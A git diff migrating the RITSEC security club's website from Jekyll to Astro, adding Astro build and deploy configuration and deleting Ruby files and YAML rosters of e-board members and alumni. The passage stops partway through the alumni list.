diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 00000000..557b264f --- /dev/null +++ b/.editorconfig @@ -0,0 +1,6 @@ +root = true + +[*] +indent_size = 4 +indent_style = space +tab_width = 4 diff --git a/.github/workflows/build-site.yml b/.github/workflows/build-site.yml index 499fe256..50a6b451 100644 --- a/.github/workflows/build-site.yml +++ b/.github/workflows/build-site.yml @@ -1,17 +1,42 @@ -name: Build Jekyll site +name: Deploy to GitHub Pages + on: - pull_request: - branches: - - master + # Trigger the workflow every time you push to the `main` branch + # Using a different branch name? Replace `main` with your branch’s name + push: + branches: [main] + # Allows you to run this workflow manually from the Actions tab on GitHub. + workflow_dispatch: + +# Allow this job to clone the repo and create a page deployment permissions: - contents: read + contents: read + pages: write + id-token: write + jobs: - build: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 - - name: Setup Pages - uses: actions/configure-pages@v3 - - name: Build - uses: actions/jekyll-build-pages@v1 + build: + runs-on: ubuntu-latest + steps: + - name: Checkout your repository using git + uses: actions/checkout@v5 + - name: Install, build, and upload your site + uses: withastro/action@v5 + # with: + # path: . # The root location of your Astro project inside the repository. (optional) + # node-version: 24 # The specific version of Node that should be used to build your site. Defaults to 22. (optional) + # package-manager: pnpm@latest # The Node package manager that should be used to install dependencies and build your site. Automatically detected based on your lockfile. (optional) + # build-cmd: pnpm run build # The command to run to build your site. Runs the package build script/task by default. (optional) + # env: + # PUBLIC_POKEAPI: 'https://pokeapi.co/api/v2' # Use single quotation marks for the variable value. (optional) + + deploy: + needs: build + runs-on: ubuntu-latest + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + steps: + - name: Deploy to GitHub Pages + id: deployment + uses: actions/deploy-pages@v4 diff --git a/.gitignore b/.gitignore index 1eb93486..16d54bb1 100644 --- a/.gitignore +++ b/.gitignore @@ -1,12 +1,24 @@ -_site/ -.sass-cache/ -.jekyll-cache/ -.jekyll-metadata -# Ignore folders generated by Bundler -.bundle/ -vendor/ - -# macOS spotlight index files +# build output +dist/ +# generated types +.astro/ + +# dependencies +node_modules/ + +# logs +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + + +# environment variables +.env +.env.production + +# macOS-specific files .DS_Store -_site -.jekyll-cache \ No newline at end of file + +# jetbrains setting folder +.idea/ diff --git a/.npmrc b/.npmrc new file mode 100644 index 00000000..341b04e4 --- /dev/null +++ b/.npmrc @@ -0,0 +1 @@ +minimum-release-age = 43200 diff --git a/.prettierrc.mjs b/.prettierrc.mjs new file mode 100644 index 00000000..2e0bf0e4 --- /dev/null +++ b/.prettierrc.mjs @@ -0,0 +1,13 @@ +// .prettierrc.mjs +/** @type {import("prettier").Config} */ +export default { + plugins: ["prettier-plugin-astro"], + overrides: [ + { + files: "*.astro", + options: { + parser: "astro", + }, + }, + ], +}; diff --git a/.ruby-version b/.ruby-version deleted file mode 100644 index be94e6f5..00000000 --- a/.ruby-version +++ /dev/null @@ -1 +0,0 @@ -3.2.2 diff --git a/CNAME b/CNAME deleted file mode 100644 index e31236d1..00000000 --- a/CNAME +++ /dev/null @@ -1 +0,0 @@ -www.ritsec.club \ No newline at end of file diff --git a/Gemfile b/Gemfile deleted file mode 100644 index 83b73880..00000000 --- a/Gemfile +++ /dev/null @@ -1,11 +0,0 @@ -# frozen_string_literal: true - -source "https://rubygems.org" - -#gem "jekyll", ENV["JEKYLL_VERSION"] if ENV["JEKYLL_VERSION"] -gem "github-pages", "~> 231", group: :jekyll_plugins -gem "kramdown-parser-gfm" if ENV["JEKYLL_VERSION"] == "~> 3.9" - -gem "jekyll-seo-tag", "~> 2.8" - -gem "webrick", "~> 1.8.2" diff --git a/Gemfile.lock b/Gemfile.lock deleted file mode 100644 index 8cdeccbd..00000000 --- a/Gemfile.lock +++ /dev/null @@ -1,290 +0,0 @@ -GEM - remote: https://rubygems.org/ - specs: - activesupport (7.1.3.2) - base64 - bigdecimal - concurrent-ruby (~> 1.0, >= 1.0.2) - connection_pool (>= 2.2.5) - drb - i18n (>= 1.6, < 2) - minitest (>= 5.1) - mutex_m - tzinfo (~> 2.0) - addressable (2.8.5) - public_suffix (>= 2.0.2, < 6.0) - base64 (0.2.0) - bigdecimal (3.1.6) - coffee-script (2.4.1) - coffee-script-source - execjs - coffee-script-source (1.12.2) - colorator (1.1.0) - commonmarker (0.23.10) - concurrent-ruby (1.2.2) - connection_pool (2.4.1) - dnsruby (1.70.0) - simpleidn (~> 0.2.1) - drb (2.2.0) - ruby2_keywords - em-websocket (0.5.3) - eventmachine (>= 0.12.9) - http_parser.rb (~> 0) - ethon (0.16.0) - ffi (>= 1.15.0) - eventmachine (1.2.7) - eventmachine (1.2.7-x64-mingw32) - execjs (2.9.1) - faraday (2.9.0) - faraday-net_http (>= 2.0, < 3.2) - faraday-net_http (3.1.0) - net-http - ffi (1.15.5) - forwardable-extended (2.6.0) - gemoji (4.1.0) - github-pages (231) - github-pages-health-check (= 1.18.2) - jekyll (= 3.9.5) - jekyll-avatar (= 0.8.0) - jekyll-coffeescript (= 1.2.2) - jekyll-commonmark-ghpages (= 0.4.0) - jekyll-default-layout (= 0.1.5) - jekyll-feed (= 0.17.0) - jekyll-gist (= 1.5.0) - jekyll-github-metadata (= 2.16.1) - jekyll-include-cache (= 0.2.1) - jekyll-mentions (= 1.6.0) - jekyll-optional-front-matter (= 0.3.2) - jekyll-paginate (= 1.1.0) - jekyll-readme-index (= 0.3.0) - jekyll-redirect-from (= 0.16.0) - jekyll-relative-links (= 0.6.1) - jekyll-remote-theme (= 0.4.3) - jekyll-sass-converter (= 1.5.2) - jekyll-seo-tag (= 2.8.0) - jekyll-sitemap (= 1.4.0) - jekyll-swiss (= 1.0.0) - jekyll-theme-architect (= 0.2.0) - jekyll-theme-cayman (= 0.2.0) - jekyll-theme-dinky (= 0.2.0) - jekyll-theme-hacker (= 0.2.0) - jekyll-theme-leap-day (= 0.2.0) - jekyll-theme-merlot (= 0.2.0) - jekyll-theme-midnight (= 0.2.0) - jekyll-theme-minimal (= 0.2.0) - jekyll-theme-modernist (= 0.2.0) - jekyll-theme-primer (= 0.6.0) - jekyll-theme-slate (= 0.2.0) - jekyll-theme-tactile (= 0.2.0) - jekyll-theme-time-machine (= 0.2.0) - jekyll-titles-from-headings (= 0.5.3) - jemoji (= 0.13.0) - kramdown (= 2.4.0) - kramdown-parser-gfm (= 1.1.0) - liquid (= 4.0.4) - mercenary (~> 0.3) - minima (= 2.5.1) - nokogiri (>= 1.13.6, < 2.0) - rouge (= 3.30.0) - terminal-table (~> 1.4) - github-pages-health-check (1.18.2) - addressable (~> 2.3) - dnsruby (~> 1.60) - octokit (>= 4, < 8) - public_suffix (>= 3.0, < 6.0) - typhoeus (~> 1.3) - html-pipeline (2.14.3) - activesupport (>= 2) - nokogiri (>= 1.4) - http_parser.rb (0.8.0) - i18n (1.14.1) - concurrent-ruby (~> 1.0) - jekyll (3.9.5) - addressable (~> 2.4) - colorator (~> 1.0) - em-websocket (~> 0.5) - i18n (>= 0.7, < 2) - jekyll-sass-converter (~> 1.0) - jekyll-watch (~> 2.0) - kramdown (>= 1.17, < 3) - liquid (~> 4.0) - mercenary (~> 0.3.3) - pathutil (~> 0.9) - rouge (>= 1.7, < 4) - safe_yaml (~> 1.0) - jekyll-avatar (0.8.0) - jekyll (>= 3.0, < 5.0) - jekyll-coffeescript (1.2.2) - coffee-script (~> 2.2) - coffee-script-source (~> 1.12) - jekyll-commonmark (1.4.0) - commonmarker (~> 0.22) - jekyll-commonmark-ghpages (0.4.0) - commonmarker (~> 0.23.7) - jekyll (~> 3.9.0) - jekyll-commonmark (~> 1.4.0) - rouge (>= 2.0, < 5.0) - jekyll-default-layout (0.1.5) - jekyll (>= 3.0, < 5.0) - jekyll-feed (0.17.0) - jekyll (>= 3.7, < 5.0) - jekyll-gist (1.5.0) - octokit (~> 4.2) - jekyll-github-metadata (2.16.1) - jekyll (>= 3.4, < 5.0) - octokit (>= 4, < 7, != 4.4.0) - jekyll-include-cache (0.2.1) - jekyll (>= 3.7, < 5.0) - jekyll-mentions (1.6.0) - html-pipeline (~> 2.3) - jekyll (>= 3.7, < 5.0) - jekyll-optional-front-matter (0.3.2) - jekyll (>= 3.0, < 5.0) - jekyll-paginate (1.1.0) - jekyll-readme-index (0.3.0) - jekyll (>= 3.0, < 5.0) - jekyll-redirect-from (0.16.0) - jekyll (>= 3.3, < 5.0) - jekyll-relative-links (0.6.1) - jekyll (>= 3.3, < 5.0) - jekyll-remote-theme (0.4.3) - addressable (~> 2.0) - jekyll (>= 3.5, < 5.0) - jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0) - rubyzip (>= 1.3.0, < 3.0) - jekyll-sass-converter (1.5.2) - sass (~> 3.4) - jekyll-seo-tag (2.8.0) - jekyll (>= 3.8, < 5.0) - jekyll-sitemap (1.4.0) - jekyll (>= 3.7, < 5.0) - jekyll-swiss (1.0.0) - jekyll-theme-architect (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-cayman (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-dinky (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-hacker (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-leap-day (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-merlot (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-midnight (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-minimal (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-modernist (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-primer (0.6.0) - jekyll (> 3.5, < 5.0) - jekyll-github-metadata (~> 2.9) - jekyll-seo-tag (~> 2.0) - jekyll-theme-slate (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-tactile (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-theme-time-machine (0.2.0) - jekyll (> 3.5, < 5.0) - jekyll-seo-tag (~> 2.0) - jekyll-titles-from-headings (0.5.3) - jekyll (>= 3.3, < 5.0) - jekyll-watch (2.2.1) - listen (~> 3.0) - jemoji (0.13.0) - gemoji (>= 3, < 5) - html-pipeline (~> 2.2) - jekyll (>= 3.0, < 5.0) - kramdown (2.4.0) - rexml - kramdown-parser-gfm (1.1.0) - kramdown (~> 2.0) - liquid (4.0.4) - listen (3.8.0) - rb-fsevent (~> 0.10, >= 0.10.3) - rb-inotify (~> 0.9, >= 0.9.10) - mercenary (0.3.6) - mini_portile2 (2.8.8) - minima (2.5.1) - jekyll (>= 3.5, < 5.0) - jekyll-feed (~> 0.9) - jekyll-seo-tag (~> 2.1) - minitest (5.22.2) - mutex_m (0.2.0) - net-http (0.4.1) - uri - nokogiri (1.18.4) - mini_portile2 (~> 2.8.2) - racc (~> 1.4) - nokogiri (1.18.4-arm64-darwin) - racc (~> 1.4) - nokogiri (1.18.4-x64-mingw-ucrt) - racc (~> 1.4) - nokogiri (1.18.4-x86_64-darwin) - racc (~> 1.4) - nokogiri (1.18.4-x86_64-linux-gnu) - racc (~> 1.4) - octokit (4.25.1) - faraday (>= 1, < 3) - sawyer (~> 0.9) - pathutil (0.16.2) - forwardable-extended (~> 2.6) - public_suffix (4.0.7) - racc (1.8.1) - rb-fsevent (0.11.2) - rb-inotify (0.10.1) - ffi (~> 1.0) - rexml (3.3.9) - rouge (3.30.0) - ruby2_keywords (0.0.5) - rubyzip (2.3.2) - safe_yaml (1.0.5) - sass (3.7.4) - sass-listen (~> 4.0.0) - sass-listen (4.0.0) - rb-fsevent (~> 0.9, >= 0.9.4) - rb-inotify (~> 0.9, >= 0.9.7) - sawyer (0.9.2) - addressable (>= 2.3.5) - faraday (>= 0.17.3, < 3) - simpleidn (0.2.1) - unf (~> 0.1.4) - terminal-table (1.8.0) - unicode-display_width (~> 1.1, >= 1.1.1) - typhoeus (1.4.1) - ethon (>= 0.9.0) - tzinfo (2.0.6) - concurrent-ruby (~> 1.0) - unf (0.1.4) - unf_ext - unf_ext (0.0.9.1) - unicode-display_width (1.8.0) - uri (0.13.2) - webrick (1.8.2) - -PLATFORMS - universal-darwin-21 - x64-mingw-ucrt - x64-mingw32 - x86_64-darwin-19 - x86_64-linux - -DEPENDENCIES - github-pages (~> 231) - jekyll-seo-tag (~> 2.8) - webrick (~> 1.8.2) - -BUNDLED WITH - 2.4.10 diff --git a/README.md b/README.md index 9044f6c2..e1971674 100644 --- a/README.md +++ b/README.md @@ -1,43 +1,16 @@ -# ritsec.github.io +# RITSEC Website -Website for RITESC. Built using [Jekyll](https://jekyllrb.com/) +Website for RITSEC, built in Astro. -## Development +## 🧞 Commands -### Install Ruby +All commands are run from the root of the project, from a terminal: -#### Method 1 - `rbenv` (Recommended) - -1. Install `rbenv` with your package manager (see [here](https://github.com/rbenv/rbenv?tab=readme-ov-file#using-package-managers)) -2. Install the proper `ruby` version with `rbenv install` - -#### Method 2 - Manual Installation - -> ⚠️ **Be sure to check the [`.ruby-version`](./.ruby-version) file to ensure you're installing the correct Ruby version** - -You can install Ruby manually using the instructions found [here](https://www.ruby-lang.org/en/documentation/installation/). - -### Install dependencies - -Install [`bundler`](https://bundler.io/) to easily install all of the dependency gems: - -```shell -gem install bundler -bundle -``` - -### Development Server - -To start up the dev server (runs locally on `http://127.0.0.1:4000`) run: - -```shell -bundle exec jekyll serve -``` - -### Development Build - -To generate a static build of the site run: - -```shell -bundle exec jekyll build -``` +| Command | Action | +| :--------------------- | :----------------------------------------------- | +| `pnpm install` | Installs dependencies | +| `pnpm dev` | Starts local dev server at `localhost:4321` | +| `pnpm build` | Build your production site to `./dist/` | +| `pnpm preview` | Preview your build locally, before deploying | +| `pnpm astro ...` | Run CLI commands like `astro add`, `astro check` | +| `pnpm astro -- --help` | Get help using the Astro CLI | diff --git a/_config.yml b/_config.yml deleted file mode 100644 index b86cad3b..00000000 --- a/_config.yml +++ /dev/null @@ -1,15 +0,0 @@ -title: RITSEC -author: - name: RITSEC - email: eboard@ritsec.club - -social_links: - github: ritsec - facebook: RITSEC - twitter: ritsecclub - instagram: ritsecclub - youtube: RITSEC - discord: W7NefdyzHZ - -plugins: - - jekyll-seo-tag diff --git a/_data/about.yml b/_data/about.yml deleted file mode 100644 index 523ebd55..00000000 --- a/_data/about.yml +++ /dev/null @@ -1,584 +0,0 @@ -sections: - - title: About Us - description: RITSEC is a student club dedicated to teaching "Security Through Community." RITSEC is dedicated to educating and preparing RIT students to compete in security-related competitions, as well as showcasing RIT student talent in the current world of security today. Whether you're new to computing security or a veteran, RITSEC has a place for you. All of the activities we host to promote this learning can be found on our 'Events' page. - - - title: 2025-2026 E-Board - members: - - name: Dan LaChance - position: President - grad_year: 26 - avatar: "assets/images/2025eboard/danl.jpg" - socials: - github: - linkedin: dan-lachance - email: president@ritsec.club - other: - - name: David Girard - position: Vice President - grad_year: 27 - avatar: "assets/images/2025eboard/davidg.jpg" - socials: - github: - linkedin: david-wg2 - email: vicepresident@ritsec.club - other: - - name: Danny Nichols - position: Public Relations - grad_year: 27 - avatar: "assets/images/2025eboard/dannyn.jpg" - socials: - github: - linkedin: daniel-t-nichols - email: publicrelations@ritsec.club - other: - - name: Adam Braccia - position: Head of Education - grad_year: 26 - avatar: "assets/images/2025eboard/adamb.jpg" - socials: - github: - linkedin: adam-braccia-350407251 - email: education@ritsec.club - other: - - name: Hayden Hartman - position: Head of Research - grad_year: 29 - avatar: "assets/images/2025eboard/haydenh.jpg" - socials: - github: - linkedin: hayden-hartman-60a042293 - email: research@ritsec.club - other: - - name: Manav Malik - position: CTF CA - grad_year: 26 - avatar: "assets/images/2025eboard/manavm.jpeg" - socials: - github: - linkedin: manav-malik - email: ctfca@ritsec.club - other: - - name: Leah Kvares - position: ISTS CA - grad_year: 27 - avatar: "assets/images/2025eboard/leahk.jpeg" - socials: - github: - linkedin: leahkvares - email: ists@ritsec.club - other: - - name: Arianna Schwartz - position: IRSeC CA - grad_year: 26 - avatar: "assets/images/2025eboard/ariannas.jpg" - socials: - github: - linkedin: arianna--schwartz - email: irsec@ritsec.club - other: - - name: Alex Noble - position: Treasurer - grad_year: 26 - avatar: "assets/images/2025eboard/alexn.jpg" - socials: - github: - linkedin: alexnoble079 - email: treasurer@ritsec.club - other: - - name: Lukasz Ozimek - position: Secretary - grad_year: 27 - avatar: "assets/images/2025eboard/lukao.jpg" - socials: - github: - linkedin: lukasz-ozimek-1376752a2 - email: secretary@ritsec.club - other: - - name: John Arrandale - position: Operations Lead - grad_year: 26 - avatar: "assets/images/2025eboard/John.jpg" - socials: - linkedin: john-arrandale - email: operations@ritsec.club - other: - - name: Owen Silsbee - position: Tech Lead - grad_year: 28 - avatar: "assets/images/2025eboard/owens.jpeg" - socials: - linkedin: owensilsbee - email: tech@ritsec.club - other: - - - title: Social Media - description: Stay up to date with our social media pages! - -past_eboards: - - year: 2024-2025 - org_name: RITSEC - members: - - name: Kasey Kiggins - position: President - - name: Rachel Leone - position: Vice President - - name: Kip Rath - position: Director of Public Relations - - name: Lukas Peters - position: Secretary - - name: Leah Kvares - position: Head of Education - - name: Will D'Andrade - position: Head of Research - - name: Drew Young - position: ISTS Competition Architect - - name: Maxim Kochnev - position: IRSeC CA - - name: Chase Killorin - position: CTF CA - - name: David Girard - position: Treasurer - - name: John Arrandale - position: Operations Lead - - name: Dan LaChance - position: Tech Lead - - year: 2023-2024 - org_name: RITSEC - members: - - name: Anthony Ioppolo - position: President - - name: Kenneth Anderson - position: Vice President - - name: Sophie Larson - position: Director of Public Relations - - name: Raina Freeman - position: Secretary - - name: Kasey Kiggins - position: Head of Education - - name: Chase Killorin - position: Head of Research - - name: Zach Price - position: ISTS Competition Architect - - name: Jack Audino - position: IRSeC CA - - name: Rachel Leone - position: CTF CA - - name: Albie Snyder - position: Treasurer - - name: Michael Scalzetti - position: Operations Lead - - name: Alex Noble - position: Tech Lead - - - year: 2022-2023 - org_name: RITSEC - members: - - name: Bradley Harker - position: President - - name: Max Fusco - position: Vice President - - name: Mohammad Eshan - position: Director of Public Relations - - name: Sarah Dill - position: Secretary - - name: Kenneth Anderson - position: Head of Education - - name: Anthony Ioppolo - position: Head of Research - - name: Michael Vaughan - position: ISTS Competition Architect - - name: Jacob Doll - position: IRSeC CA - - name: Zach Price - position: CTF CA - - name: Bailey Powers - position: Treasurer - - name: Abdulmalik Banaser - position: Operations Lead - - name: Alex Beaver - position: Tech Lead - - - year: 2021-2022 - org_name: RITSEC - members: - - name: Enzo DeStephano - position: President - - name: Brayden Werner - position: Head of Education - - name: Tenchi Mata - position: Head of Research - - name: Alison Nakai-Lackey - position: ISTS Competition Architect - - name: Jason Howe - position: IRSeC CA - - name: Olivia Gallucci - position: Treasurer - - name: Jazmin Morales - position: Secretary - - name: Bradley Harker - position: Director of Public Relations - - name: Philomena Gray - position: Operations Lead - - name: Max Fusco - position: Tech Lead - - - year: 2020-2021 - org_name: RITSEC - members: - - name: Jonathan Bauer - position: President - - name: Phillip Babey - position: Head of Education - - name: Enzo DeStephano - position: Head of Research - - name: Daniel Szafran - position: ISTS Competition Architect - - name: Joshua Niemann - position: IRSeC CA - - name: Spencer Roth - position: Treasurer - - name: Jason Howe - position: Secretary - - name: Danielle Schloss - position: Director of Public Relations - - name: Kyle Schleich - position: Operations Lead - - name: Ayobami 'Emmanuel' Adewale - position: Tech Lead - - year: 2019-2020 - org_name: RITSEC - members: - - name: Shannon McHale - position: President - - name: Owen Siebert - position: Head of Education - - name: Ian Furr - position: Head of Research - - name: Jack McKenna - position: ISTS Competition Architect - - name: Quintin Walters - position: IRSEC CA - - name: Amanda Brown - position: Treasurer - - name: Jon Bauer - position: Secretary - - name: Adrianna Visca - position: Director of Public Relations - - name: Evan Mikulski/Kyle Schleich - position: Operations Lead - - name: Sunggwan Choi - position: Tech Lead - - year: 2018-2019 - org_name: RITSEC - members: - - name: Micah Martin - position: President - - name: Russell Babarsky - position: Head of Education - - name: Nick O'Brien - position: Head of Research - - name: Sean Newman - position: Competition Architect - - name: Shannon McHale - position: Treasurer - - name: Jack McKenna - position: Secretary - - name: Alicen Dipiano - position: Director of Public Relations - - name: Brandon Adler - position: Operations Lead - - name: Scott Brink - position: Tech Lead - - year: 2017-2018 - multi_org: yes - organizations: - - org_name: RC3 - members: - - name: Sean Sun - position: President - - name: Ohan Fillbach - position: Vice President - - name: Kristen Tumacder - position: Competition Architect - - name: Sean Newman - position: Secretary - - name: Michael Milkovich/Shannon McHale - position: Treasurer - - name: Bryson McIver - position: Web Admin - - name: Susan Lunn - position: Operations - - name: Megan Fritts, Bill Stackpole - position: Faculty Advisor - - org_name: SPARSA - members: - - name: Micah Martin - position: President - - name: Kyle Carretto - position: Vice President of Practices - - name: Cameron Clark - position: Vice President of Research - - name: Josh Stuts - position: Treasurer - - name: Russell Babarsky - position: Secretary - - name: Bo Yuan - position: Faculty Advisor - - year: 2016-2017 - multi_org: yes - organizations: - - org_name: RC3 - members: - - name: Ben Bornholm - position: President - - name: Nicholas Piazza - position: Vice President - - name: Brad Campbell - position: Tech Lead - - name: Sarah Jacobus/Sean Sun - position: Competition Architect - - name: Sean Sun/Ohan Fillbach - position: Web - - name: Michael Milkovich - position: Treasurer - - name: Kristen Tumacder - position: Secretary - - org_name: SPARSA - members: - - name: Jesse Buonanno - position: President - - name: Cameron Clark - position: Vice President of Practices - - name: Dave Kukfa - position: Vice President of Research - - name: Brandon Adler - position: Treasurer - - name: Jon Myers - position: Secretary - - name: Bo Yuan - position: Faculty Advisor - - year: 2015-2016 - multi_org: yes - organizations: - - org_name: RC3 - members: - - name: Scott Vincent - position: President - - name: Sean McConnell - position: Vice President - - name: Ed Mead - position: Tech Lead - - name: Luke Matarazzo - position: Competition Architect - - name: Jaime Geiger - position: Web - - name: Ben Bornholm - position: Treasurer - - name: Pooja Sharma - position: Secretary - - org_name: SPARSA - members: - - name: Corrine Smith - position: President - - name: Tyler Fornes - position: Vice President of Research - - name: Jesse Buonanno - position: Treasurer - - name: Peter Muller - position: Secretary - - name: Jared Stroud and Bryan Harmat - position: Graduate Advisor - - name: Bo Yuan - position: Faculty Advisor - - year: 2014-2015 - multi_org: yes - organizations: - - org_name: RC3 - members: - - name: Jon Barber/Jaime Geiger - position: President - - name: Jaime Geiger/Nicholas Piazza - position: Vice President - - name: Scott Vincent - position: Vice President of Administration - - name: Sean McConnell - position: Vice President of Technology - - name: Ben Bornholm - position: Treasurer - - name: Sean McConnell/Luke Christian - position: Secretary - - org_name: SPARSA - members: - - name: Bryan Harmat - position: President - - name: Jared Stroud - position: Vice President of Practices - - name: Jon Barber/Stanley Chan - position: Vice President of Research - - name: Mike O’Gorman/Peter Muller - position: Treasurer - - name: Corinne Smith - position: Secretary - - name: Stanley Chan - position: Graduate Advisor - - name: Bo Yuan - position: Faculty Advisor - - year: 2013-2014 - multi_org: yes - organizations: - - org_name: RC3 - members: - - name: Brandon Maur and Thomas Desrosiers - position: Founders - - name: Zuhdi "Z" Abdelkarim - position: President - - name: Daniyal Syed - position: Vice President - - name: Jon Barber - position: Vice President of Technology - - org_name: SPARSA - members: - - name: Ben Kelley - position: President - - name: Bryan Harmat - position: Vice President of Practices - - name: Lucas Duffey/Stanley Chan - position: Vice President of Research - - name: Claire McKenna - position: Treasurer - - name: Jared Stroud - position: Secretary - - name: Ben Andrews - position: Graduate Advisor - - name: Bo Yuan - position: Faculty Advisor - - - year: 2012-2013 - org_name: SPARSA - members: - - name: Stanley Chan - position: President - - name: Ben Kelley - position: Vice President of Practices - - name: Brandon Myers - position: Vice President of Research - - name: Lucas Duffey - position: Treasurer - - name: Kayla Green - position: Secretary - - name: Chaim Sanders - position: Graduate Advisor - - name: Gary Scarborough and Bo Yuan - position: Faculty Advisor - - year: 2011-2012 - org_name: SPARSA - members: - - name: Ryan Peck - position: President - - name: Neil Zimmerman - position: Vice President of Practices - - name: Chaim Sanders - position: Vice President of Research - - name: Lucas Duffey - position: Treasurer - - name: Stanley Chan - position: Secretary - - name: Gary Scarborough - position: Faculty Advisor - - year: 2010-2011 - org_name: SPARSA - members: - - name: Jacob Ruppal - position: President - - name: Chaim Sanders - position: Vice President of Practices - - name: Ryan Peck - position: Treasurer - - name: Michael Tortora - position: Secretary - - name: Gary Scarborough - position: Faculty Advisor - - year: 2009-2010 - org_name: SPARSA - members: - - name: Conner Finlay - position: President - - name: Jacob Ruppal - position: Vice President of Practices - - name: Josh Smith - position: Vice President of Research - - name: Chaim Sanders - position: Treasurer - - name: Neil Zimmerman - position: Secretary - - year: 2007-2008 - org_name: SPARSA - members: - - name: Alex Getty - position: President - - name: Connor Finlay - position: Vice President of Practices - - name: Josh Smith - position: Vice President of Research - - name: Adam Burke - position: Treasurer - - name: Jacob Ruppal - position: Secretary - - year: 2006-2007 - org_name: SPARSA - members: - - name: Jason Batchelor - position: President - - name: Alex Getty - position: Vice President of Practices - - name: Nick Carpenter - position: Vice President of Research - - year: 2005-2006 - org_name: SPARSA - members: - - name: Jason Batchelor - position: Vice President of Practices - - year: 2004-2005 - org_name: SPARSA - members: - - name: Jeff Volante - position: President - - name: Jim Farrelly - position: Vice President of Practices - - name: Sara Berg - position: Vice President of Research - - name: Brian Luteran - position: Treasurer - - name: Jason Batchelor - position: Secretary - - year: 2003-2004 - org_name: SPARSA - members: - - name: Keith LeClaire - position: President - - year: 2002-2003 - org_name: SPARSA - members: - - name: Steve Frank - position: President - - name: Jeff Volante - position: Vice President of Practices - - name: Keith LeClaire - position: Vice President of Research - - name: Katie Hathaway - position: Treasurer - - name: Jim Farrelly - position: Secretary - - year: 2001-2002 - org_name: SPARSA - members: - - name: Jared Campbell - position: President - - name: Matt Hile - position: Vice President of Practices - - name: Gena Daley - position: Vice President of Research - - name: Reina Smith - position: Treasurer - - name: Aksh Sehgal - position: Secretary diff --git a/_data/alumni.yml b/_data/alumni.yml deleted file mode 100644 index 4bd248be..00000000 --- a/_data/alumni.yml +++ /dev/null @@ -1,312 +0,0 @@ -sections: - - title: Alumni - description: Meet all of our wonderful alumni! - -alumni: - - year: 2025 - name: Sharad Khanna - - year: 2025 - name: Chris (Kip) Rath - - year: 2025 - name: Michael Scalzetti - - year: 2025 - name: Kyle Mullen - - year: 2025 - name: Rachel Leone - - year: 2025 - name: Asa Horn - - year: 2025 - name: Sophia Larson - - year: 2025 - name: Sohan Saimbhi - - year: 2025 - name: Anthony Ioppolo - - year: 2025 - name: Kyri Lea - - year: 2025 - name: Sierra Kennedy - - year: 2025 - name: Jacob Highfield - - year: 2025 - name: Aaron Schwager - - year: 2025 - name: Drew Young - - year: 2025 - name: Zach Price - - year: 2025 - name: Atharv Mungikar - - year: 2025 - name: Hal Williams - - year: 2025 - name: Rich Kleinhenz - - year: 2025 - name: Cipriana Sorenson - - year: 2025 - name: Jenna Weinman - - year: 2025 - name: Danielle Schloss - - - year: 2024 - name: Ryan Cheevers-Brown - - year: 2024 - name: Seth Teller - - year: 2024 - name: Colin O'Rourke - - year: 2024 - name: Allison Jankowski - - year: 2024 - name: Alex Beaver - - year: 2024 - name: Christopher Dutko - - year: 2024 - name: Joseph Abbate - - year: 2024 - name: Kat Nayan - - year: 2024 - name: Alec Bhaskaran - - year: 2024 - name: Max Fusco - - year: 2024 - name: Jenna Weinman - - year: 2024 - name: Bradley Harker - - year: 2024 - name: Jason Howe - - year: 2024 - name: Sarah Dill - - year: 2024 - name: Bailey Powers - - year: 2024 - name: Kenneth Anderson - - year: 2024 - name: Jack Audino - - year: 2024 - name: Nathan Belcher - - year: 2024 - name: Olivia Gallucci - - year: 2024 - name: George Link - - year: 2024 - name: Alec Miller - - - year: 2023 - name: Abdulmalik Banaser - - year: 2023 - name: Aedan (AT) Taylor - - year: 2023 - name: Aidan Kies - - year: 2023 - name: Alison Nakai-Lackey - - year: 2023 - name: Brayden Werner - - year: 2023 - name: Cameron Carey - - year: 2023 - name: Evan Mikulski - - year: 2023 - name: Kayla Hodgson - - year: 2023 - name: Mike Turkowski - - year: 2023 - name: Pranav Sarma - - year: 2023 - name: Rayhan Baig - - year: 2023 - name: Saakshi Gupta - - year: 2023 - name: Salomi Rao - - year: 2023 - name: Sarah Dill - - year: 2023 - name: Sarthak Mathur - - year: 2023 - name: Sma Das - - year: 2023 - name: Spencer Roth - - - year: 2022 - name: Enzo DeStephano - - year: 2022 - name: Jake McLellan - - year: 2022 - name: Loudon Mehling - - year: 2022 - name: Fred Rybin - - year: 2022 - name: Brendan McGlynn - - year: 2022 - name: Phillip Babey - - year: 2022 - name: Ayobami Adawale - - year: 2022 - name: Philomena Gray - - year: 2022 - name: Andrew Quan - - year: 2022 - name: Ian Stroszeck - - year: 2022 - name: Chris Sequeira - - year: 2022 - name: Andrew Afonso - - year: 2022 - name: Josh Brown - - year: 2022 - name: Mona Naveed - - year: 2022 - name: Michael Madden - - year: 2022 - name: Anna Volpova - - year: 2022 - name: Valerie Lidiak - - year: 2022 - name: Patrick Marchione - - year: 2022 - name: Patrick Lamanna - - year: 2022 - name: Stuart Nevans Locke - - year: 2022 - name: Omar Aljaloud - - year: 2022 - name: Chris Cheney - - - year: 2021 - name: Mohammed Alshehri - - year: 2021 - name: Daniel Szafran - - year: 2021 - name: Adrianna Visca - - year: 2021 - name: Jonathan Bauer - - year: 2021 - name: Marc Barclay - - year: 